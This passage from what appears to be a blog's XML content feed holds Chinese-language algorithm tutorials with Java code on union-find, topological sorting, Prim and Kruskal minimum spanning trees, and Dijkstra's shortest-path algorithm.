)</td><td>-</td></tr></tbody></table><p>Trie树以空间换时间，特别适合<strong>前缀查询频繁</strong>的场景。理解其核心思想（边代表字符，路径代表字符串），可以灵活应用于各类字符串问题。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> Trie </tag>
            
            <tag> 字符串 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>并查集与连通性问题</title>
      <link href="//union-find-disjoint-set/"/>
      <url>//union-find-disjoint-set/</url>
      
        <content type="html"><![CDATA[<h2 id="一、并查集概述"><a href="#一、并查集概述" class="headerlink" title="一、并查集概述"></a>一、并查集概述</h2><h3 id="1-1-支持操作"><a href="#1-1-支持操作" class="headerlink" title="1.1 支持操作"></a>1.1 支持操作</h3><ul><li><strong>Find</strong>：查找元素所属集合（根）</li><li><strong>Union</strong>：合并两个集合</li></ul><h3 id="1-2-应用场景"><a href="#1-2-应用场景" class="headerlink" title="1.2 应用场景"></a>1.2 应用场景</h3><ul><li>连通分量</li><li>最小生成树(Kruskal)</li><li>等价关系</li><li>离线查询</li></ul><h2 id="二、基本实现"><a href="#二、基本实现" class="headerlink" title="二、基本实现"></a>二、基本实现</h2><h3 id="2-1-数组版"><a href="#2-1-数组版" class="headerlink" title="2.1 数组版"></a>2.1 数组版</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">UnionFind</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] parent;</span><br><span class="line">    <span class="type">int</span>[] rank;  <span class="comment">// 按秩合并</span></span><br><span class="line">    <span class="type">int</span> count;   <span class="comment">// 连通分量数</span></span><br><span class="line">    </span><br><span class="line">    UnionFind(<span class="type">int</span> n) &#123;</span><br><span class="line">        parent = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">        rank = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">        count = n;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) parent[i] = i;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 路径压缩</span></span><br><span class="line">    <span class="type">int</span> <span class="title function_">find</span><span class="params">(<span class="type">int</span> x)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (parent[x] != x) &#123;</span><br><span class="line">            parent[x] = find(parent[x]);  <span class="comment">// 递归压缩</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> parent[x];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 按秩合并</span></span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">union</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">px</span> <span class="operator">=</span> find(x), py = find(y);</span><br><span class="line">        <span class="keyword">if</span> (px == py) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (rank[px] &lt; rank[py]) &#123;</span><br><span class="line">            parent[px] = py;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (rank[px] &gt; rank[py]) &#123;</span><br><span class="line">            parent[py] = px;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            parent[py] = px;</span><br><span class="line">            rank[px]++;</span><br><span class="line">        &#125;</span><br><span class="line">        count--;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">connected</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> find(x) == find(y);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、复杂度分析"><a href="#三、复杂度分析" class="headerlink" title="三、复杂度分析"></a>三、复杂度分析</h2><h3 id="3-1-反阿克曼函数"><a href="#3-1-反阿克曼函数" class="headerlink" title="3.1 反阿克曼函数"></a>3.1 反阿克曼函数</h3><p>经过路径压缩和按秩合并优化后，单次操作均摊复杂度为 ( O(\alpha(n)) )，其中 ( \alpha ) 是反阿克曼函数，增长极慢（实际中可视为常数）。</p><h2 id="四、经典应用"><a href="#四、经典应用" class="headerlink" title="四、经典应用"></a>四、经典应用</h2><h3 id="4-1-省份数量"><a href="#4-1-省份数量" class="headerlink" title="4.1 省份数量"></a>4.1 省份数量</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">findCircleNum</span><span class="params">(<span class="type">int</span>[][] isConnected)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> isConnected.length;</span><br><span class="line">    <span class="type">UnionFind</span> <span class="variable">uf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UnionFind</span>(n);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> i + <span class="number">1</span>; j &lt; n; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (isConnected[i][j] == <span class="number">1</span>) uf.union(i, j);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> uf.count;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-2-冗余连接"><a href="#4-2-冗余连接" class="headerlink" title="4.2 冗余连接"></a>4.2 冗余连接</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] findRedundantConnection(<span class="type">int</span>[][] edges) &#123;</span><br><span class="line">    <span class="type">UnionFind</span> <span class="variable">uf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UnionFind</span>(edges.length + <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span>[] edge : edges) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!uf.union(edge[<span class="number">0</span>], edge[<span class="number">1</span>])) <span class="keyword">return</span> edge;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">int</span>[<span class="number">0</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>并查集是处理<strong>动态连通性</strong>问题的高效数据结构。通过路径压缩和按秩合并，几乎达到常数时间复杂度。其核心思想是”代表元”：每个集合选一个根节点作为代表。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 数据结构 </tag>
            
            <tag> 并查集 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>拓扑排序与有向图</title>
      <link href="//topological-sort/"/>
      <url>//topological-sort/</url>
      
        <content type="html"><![CDATA[<h2 id="一、拓扑排序"><a href="#一、拓扑排序" class="headerlink" title="一、拓扑排序"></a>一、拓扑排序</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>对有向无环图(DAG)的顶点进行线性排序，使得对每条边 ((u, v))，u在v之前。</p><h3 id="1-2-应用场景"><a href="#1-2-应用场景" class="headerlink" title="1.2 应用场景"></a>1.2 应用场景</h3><ul><li>任务调度（先修课程）</li><li>编译顺序</li><li>Makefile依赖</li><li>数据处理流水线</li></ul><h2 id="二、Kahn算法（BFS）"><a href="#二、Kahn算法（BFS）" class="headerlink" title="二、Kahn算法（BFS）"></a>二、Kahn算法（BFS）</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>反复选择<strong>入度为0</strong>的顶点，移除其出边。</p><h3 id="2-2-实现"><a href="#2-2-实现" class="headerlink" title="2.2 实现"></a>2.2 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">topologicalSort</span><span class="params">(<span class="type">int</span> n, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] inDegree = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    <span class="keyword">for</span> (List&lt;Integer&gt; edges : adj) &#123;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> v : edges) inDegree[v]++;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    Queue&lt;Integer&gt; queue = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (inDegree[i] == <span class="number">0</span>) queue.offer(i);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    List&lt;Integer&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">while</span> (!queue.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">u</span> <span class="operator">=</span> queue.poll();</span><br><span class="line">        result.add(u);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> v : adj[u]) &#123;</span><br><span class="line">            <span class="keyword">if</span> (--inDegree[v] == <span class="number">0</span>) queue.offer(v);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 若结果顶点数 &lt; n，说明有环</span></span><br><span class="line">    <span class="keyword">return</span> result.size() == n ? result : <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-复杂度"><a href="#2-3-复杂度" class="headerlink" title="2.3 复杂度"></a>2.3 复杂度</h3><p>( O(V + E) )</p><h2 id="三、DFS实现"><a href="#三、DFS实现" class="headerlink" title="三、DFS实现"></a>三、DFS实现</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> List&lt;Integer&gt; <span class="title function_">topologicalSortDFS</span><span class="params">(<span class="type">int</span> n, List&lt;Integer&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span>[] visited = <span class="keyword">new</span> <span class="title class_">boolean</span>[n];</span><br><span class="line">    <span class="type">boolean</span>[] onStack = <span class="keyword">new</span> <span class="title class_">boolean</span>[n];</span><br><span class="line">    Deque&lt;Integer&gt; stack = <span class="keyword">new</span> <span class="title class_">ArrayDeque</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!visited[i] &amp;&amp; !dfs(i, adj, visited, onStack, stack)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();  <span class="comment">// 有环</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    List&lt;Integer&gt; result = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">    <span class="keyword">while</span> (!stack.isEmpty()) result.add(stack.pop());</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">boolean</span> <span class="title function_">dfs</span><span class="params">(<span class="type">int</span> u, List&lt;Integer&gt;[] adj, <span class="type">boolean</span>[] visited, <span class="type">boolean</span>[] onStack, Deque&lt;Integer&gt; stack)</span> &#123;</span><br><span class="line">    visited[u] = <span class="literal">true</span>;</span><br><span class="line">    onStack[u] = <span class="literal">true</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> v : adj[u]) &#123;</span><br><span class="line">        <span class="keyword">if</span> (onStack[v]) <span class="keyword">return</span> <span class="literal">false</span>;  <span class="comment">// 有环</span></span><br><span class="line">        <span class="keyword">if</span> (!visited[v] &amp;&amp; !dfs(v, adj, visited, onStack, stack)) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    onStack[u] = <span class="literal">false</span>;</span><br><span class="line">    stack.push(u);</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、环检测"><a href="#四、环检测" class="headerlink" title="四、环检测"></a>四、环检测</h2><p>拓扑排序可以检测有向图是否有环：</p><ul><li>Kahn算法：结果顶点数 &lt; 总顶点数</li><li>DFS：遇到回边（onStack中的节点）</li></ul><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><table><thead><tr><th>算法</th><th>方式</th><th>特点</th></tr></thead><tbody><tr><td>Kahn</td><td>BFS</td><td>直观，适合找所有拓扑序</td></tr><tr><td>DFS</td><td>递归</td><td>简洁，可顺便检测环</td></tr></tbody></table><p>拓扑排序是处理<strong>依赖关系</strong>的有力工具。只要问题中存在”A必须在B之前”的约束，就可以考虑使用拓扑排序。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 图 </tag>
            
            <tag> 拓扑排序 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>最小生成树Prim与Kruskal</title>
      <link href="//mst-prim-kruskal/"/>
      <url>//mst-prim-kruskal/</url>
      
        <content type="html"><![CDATA[<h2 id="一、最小生成树-MST"><a href="#一、最小生成树-MST" class="headerlink" title="一、最小生成树(MST)"></a>一、最小生成树(MST)</h2><h3 id="1-1-定义"><a href="#1-1-定义" class="headerlink" title="1.1 定义"></a>1.1 定义</h3><p>连通无向图中，连接所有顶点的<strong>边权和最小</strong>的树。</p><h3 id="1-2-性质"><a href="#1-2-性质" class="headerlink" title="1.2 性质"></a>1.2 性质</h3><ul><li>包含 ( V ) 个顶点和 ( V-1 ) 条边</li><li>无环</li><li>可能不唯一</li></ul><h3 id="1-3-切割定理"><a href="#1-3-切割定理" class="headerlink" title="1.3 切割定理"></a>1.3 切割定理</h3><p>任取一个切割， crossing edge（横切边）中权值最小的边一定属于某棵MST。</p><h2 id="二、Prim算法"><a href="#二、Prim算法" class="headerlink" title="二、Prim算法"></a>二、Prim算法</h2><h3 id="2-1-核心思想"><a href="#2-1-核心思想" class="headerlink" title="2.1 核心思想"></a>2.1 核心思想</h3><p>从某个顶点开始，逐步扩展树，每次添加连接树与非树顶点的<strong>最小权边</strong>。</p><h3 id="2-2-实现（优先队列）"><a href="#2-2-实现（优先队列）" class="headerlink" title="2.2 实现（优先队列）"></a>2.2 实现（优先队列）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">prim</span><span class="params">(List&lt;<span class="type">int</span>[]&gt;[] adj)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> adj.length;</span><br><span class="line">    <span class="type">boolean</span>[] inMST = <span class="keyword">new</span> <span class="title class_">boolean</span>[n];</span><br><span class="line">    PriorityQueue&lt;<span class="type">int</span>[]&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(Comparator.comparingInt(a -&gt; a[<span class="number">1</span>]));</span><br><span class="line">    pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;<span class="number">0</span>, <span class="number">0</span>&#125;);  <span class="comment">// &#123;vertex, weight&#125;</span></span><br><span class="line">    <span class="type">int</span> <span class="variable">totalWeight</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">edges</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!pq.isEmpty() &amp;&amp; edges &lt; n) &#123;</span><br><span class="line">        <span class="type">int</span>[] curr = pq.poll();</span><br><span class="line">        <span class="type">int</span> <span class="variable">u</span> <span class="operator">=</span> curr[<span class="number">0</span>], w = curr[<span class="number">1</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (inMST[u]) <span class="keyword">continue</span>;</span><br><span class="line">        inMST[u] = <span class="literal">true</span>;</span><br><span class="line">        totalWeight += w;</span><br><span class="line">        edges++;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span>[] edge : adj[u]) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> edge[<span class="number">0</span>], weight = edge[<span class="number">1</span>];</span><br><span class="line">            <span class="keyword">if</span> (!inMST[v]) &#123;</span><br><span class="line">                pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;v, weight&#125;);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> totalWeight;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-3-复杂度"><a href="#2-3-复杂度" class="headerlink" title="2.3 复杂度"></a>2.3 复杂度</h3><p>( O(E \log V) )</p><h2 id="三、Kruskal算法"><a href="#三、Kruskal算法" class="headerlink" title="三、Kruskal算法"></a>三、Kruskal算法</h2><h3 id="3-1-核心思想"><a href="#3-1-核心思想" class="headerlink" title="3.1 核心思想"></a>3.1 核心思想</h3><p>按边权从小到大排序，依次选择不形成环的边，直到选出 ( V-1 ) 条。</p><h3 id="3-2-并查集"><a href="#3-2-并查集" class="headerlink" title="3.2 并查集"></a>3.2 并查集</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">UnionFind</span> &#123;</span><br><span class="line">    <span class="type">int</span>[] parent;</span><br><span class="line">    </span><br><span class="line">    UnionFind(<span class="type">int</span> n) &#123;</span><br><span class="line">        parent = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n; i++) parent[i] = i;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">int</span> <span class="title function_">find</span><span class="params">(<span class="type">int</span> x)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (parent[x] != x) parent[x] = find(parent[x]);</span><br><span class="line">        <span class="keyword">return</span> parent[x];</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="type">boolean</span> <span class="title function_">union</span><span class="params">(<span class="type">int</span> x, <span class="type">int</span> y)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">px</span> <span class="operator">=</span> find(x), py = find(y);</span><br><span class="line">        <span class="keyword">if</span> (px == py) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        parent[px] = py;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-3-实现"><a href="#3-3-实现" class="headerlink" title="3.3 实现"></a>3.3 实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">kruskal</span><span class="params">(<span class="type">int</span>[][] edges, <span class="type">int</span> n)</span> &#123;</span><br><span class="line">    <span class="comment">// edges: [u, v, weight]</span></span><br><span class="line">    Arrays.sort(edges, Comparator.comparingInt(e -&gt; e[<span class="number">2</span>]));</span><br><span class="line">    <span class="type">UnionFind</span> <span class="variable">uf</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">UnionFind</span>(n);</span><br><span class="line">    <span class="type">int</span> <span class="variable">totalWeight</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">edgesUsed</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span>[] edge : edges) &#123;</span><br><span class="line">        <span class="keyword">if</span> (uf.union(edge[<span class="number">0</span>], edge[<span class="number">1</span>])) &#123;</span><br><span class="line">            totalWeight += edge[<span class="number">2</span>];</span><br><span class="line">            <span class="keyword">if</span> (++edgesUsed == n - <span class="number">1</span>) <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> totalWeight;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-4-复杂度"><a href="#3-4-复杂度" class="headerlink" title="3.4 复杂度"></a>3.4 复杂度</h3><p>排序 ( O(E \log E) )，并查集 ( O(E \alpha(V)) )，总计 ( O(E \log E) )。</p><h2 id="四、对比"><a href="#四、对比" class="headerlink" title="四、对比"></a>四、对比</h2><table><thead><tr><th>特性</th><th>Prim</th><th>Kruskal</th></tr></thead><tbody><tr><td>贪心策略</td><td>扩展顶点</td><td>选最小边</td></tr><tr><td>数据结构</td><td>优先队列</td><td>并查集</td></tr><tr><td>适用</td><td>稠密图</td><td>稀疏图</td></tr><tr><td>时间</td><td>( O(E \log V) )</td><td>( O(E \log E) )</td></tr></tbody></table><h2 id="五、总结"><a href="#五、总结" class="headerlink" title="五、总结"></a>五、总结</h2><p>Prim从顶点出发逐步扩展，适合稠密图。Kruskal从边出发，适合稀疏图。两者都基于切割定理的贪心策略，是图论中最重要的算法之一。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 算法 </tag>
            
            <tag> 图 </tag>
            
            <tag> 最小生成树 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>最短路径Dijkstra算法</title>
      <link href="//dijkstra-shortest-path/"/>
      <url>//dijkstra-shortest-path/</url>
      
        <content type="html"><![CDATA[<h2 id="一、问题定义"><a href="#一、问题定义" class="headerlink" title="一、问题定义"></a>一、问题定义</h2><h3 id="1-1-单源最短路径"><a href="#1-1-单源最短路径" class="headerlink" title="1.1 单源最短路径"></a>1.1 单源最短路径</h3><p>给定带权有向图 ( G=(V, E) ) 和源点 ( s )，求 ( s ) 到所有其他顶点的最短路径。</p><h3 id="1-2-前提条件"><a href="#1-2-前提条件" class="headerlink" title="1.2 前提条件"></a>1.2 前提条件</h3><ul><li>边权<strong>非负</strong></li></ul><h2 id="二、核心思想"><a href="#二、核心思想" class="headerlink" title="二、核心思想"></a>二、核心思想</h2><h3 id="2-1-贪心策略"><a href="#2-1-贪心策略" class="headerlink" title="2.1 贪心策略"></a>2.1 贪心策略</h3><p>每次选择<strong>距离源点最近</strong>的未确定最短路径的顶点，其最短路径即确定。</p><h3 id="2-2-松弛操作"><a href="#2-2-松弛操作" class="headerlink" title="2.2 松弛操作"></a>2.2 松弛操作</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">if dist[u] + weight(u, v) &lt; dist[v]:</span><br><span class="line">    dist[v] = dist[u] + weight(u, v)</span><br></pre></td></tr></table></figure><h2 id="三、基本实现"><a href="#三、基本实现" class="headerlink" title="三、基本实现"></a>三、基本实现</h2><h3 id="3-1-邻接矩阵版-O-V-2"><a href="#3-1-邻接矩阵版-O-V-2" class="headerlink" title="3.1 邻接矩阵版 ( O(V^2) )"></a>3.1 邻接矩阵版 ( O(V^2) )</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] dijkstra(<span class="type">int</span>[][] graph, <span class="type">int</span> src) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> graph.length;</span><br><span class="line">    <span class="type">int</span>[] dist = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    <span class="type">boolean</span>[] visited = <span class="keyword">new</span> <span class="title class_">boolean</span>[n];</span><br><span class="line">    Arrays.fill(dist, Integer.MAX_VALUE);</span><br><span class="line">    dist[src] = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; n - <span class="number">1</span>; i++) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">u</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; n; j++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!visited[j] &amp;&amp; (u == -<span class="number">1</span> || dist[j] &lt; dist[u])) &#123;</span><br><span class="line">                u = j;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        visited[u] = <span class="literal">true</span>;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> <span class="number">0</span>; v &lt; n; v++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!visited[v] &amp;&amp; graph[u][v] != <span class="number">0</span> &amp;&amp; dist[u] != Integer.MAX_VALUE) &#123;</span><br><span class="line">                dist[v] = Math.min(dist[v], dist[u] + graph[u][v]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dist;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="3-2-优先队列优化-O-V-E-log-V"><a href="#3-2-优先队列优化-O-V-E-log-V" class="headerlink" title="3.2 优先队列优化 ( O((V+E)\log V) )"></a>3.2 优先队列优化 ( O((V+E)\log V) )</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span>[] dijkstraPQ(List&lt;<span class="type">int</span>[]&gt;[] adj, <span class="type">int</span> src) &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">n</span> <span class="operator">=</span> adj.length;</span><br><span class="line">    <span class="type">int</span>[] dist = <span class="keyword">new</span> <span class="title class_">int</span>[n];</span><br><span class="line">    Arrays.fill(dist, Integer.MAX_VALUE);</span><br><span class="line">    dist[src] = <span class="number">0</span>;</span><br><span class="line">    </span><br><span class="line">    PriorityQueue&lt;<span class="type">int</span>[]&gt; pq = <span class="keyword">new</span> <span class="title class_">PriorityQueue</span>&lt;&gt;(Comparator.comparingInt(a -&gt; a[<span class="number">1</span>]));</span><br><span class="line">    pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;src, <span class="number">0</span>&#125;);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (!pq.isEmpty()) &#123;</span><br><span class="line">        <span class="type">int</span>[] curr = pq.poll();</span><br><span class="line">        <span class="type">int</span> <span class="variable">u</span> <span class="operator">=</span> curr[<span class="number">0</span>], d = curr[<span class="number">1</span>];</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (d &gt; dist[u]) <span class="keyword">continue</span>;  <span class="comment">// 已处理过更短路径</span></span><br><span class="line">        </span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span>[] edge : adj[u]) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">v</span> <span class="operator">=</span> edge[<span class="number">0</span>], w = edge[<span class="number">1</span>];</span><br><span class="line">            <span class="keyword">if</span> (dist[u] + w &lt; dist[v]) &#123;</span><br><span class="line">                dist[v] = dist[u] + w;</span><br><span class="line">                pq.offer(<span class="keyword">new</span> <span class="title class_">int</span>[]&#123;v, dist[v]&#125;);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> dist;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="四、正确性证明"><a href="#四、正确性证明" class="headerlink" title="四、正确性证明"></a>四、正确性证明</h2><h3 id="4-1-归纳法"><a href="#4-1-归纳法" class="headerlink" title="4.1 归纳法"></a>4.1 归纳法</h3><p><strong>归纳假设</strong>：已确定集合S中的顶点，其dist值已是最短路径。</p><p><strong>归纳步骤</strong>：选择S外dist最小的顶点u，假设存在更短路径经过S外顶点x，则dist[x] &lt; dist[u]，与u的选择矛盾。</p><h2 id="五、对比"><a href="#五、对比" class="headerlink" title="五、对比"></a>五、对比</h2><table><thead><tr><th>算法</th><th>适用</th><th>时间复杂度</th><th>特点</th></tr></thead><tbody><tr><td>Dijkstra</td><td>非负权图</td><td>( O((V+E)\log V) )</td><td>单源，贪心</td></tr><tr><td>Bellman-Ford</td><td>含负权</td><td>( O(VE) )</td><td>可检测负环</td></tr><tr><td>Floyd</td><td>所有点对</td><td>( O(V^3) )</td><td>动态规划</td></tr><tr><td>SPFA</td><td>含负权</td><td>平均快，最坏 ( O(VE) )</td><td>Bellman-Ford优化</td></tr></tbody></table><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>Dijkstra算法是求解<strong>非负权图单源最短路径</strong>的经典算法。其核心是贪心选择 + 松弛操作。优先队列优化后，在稀疏图上效率很高，是实际应用中最常用的最短路径算法。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
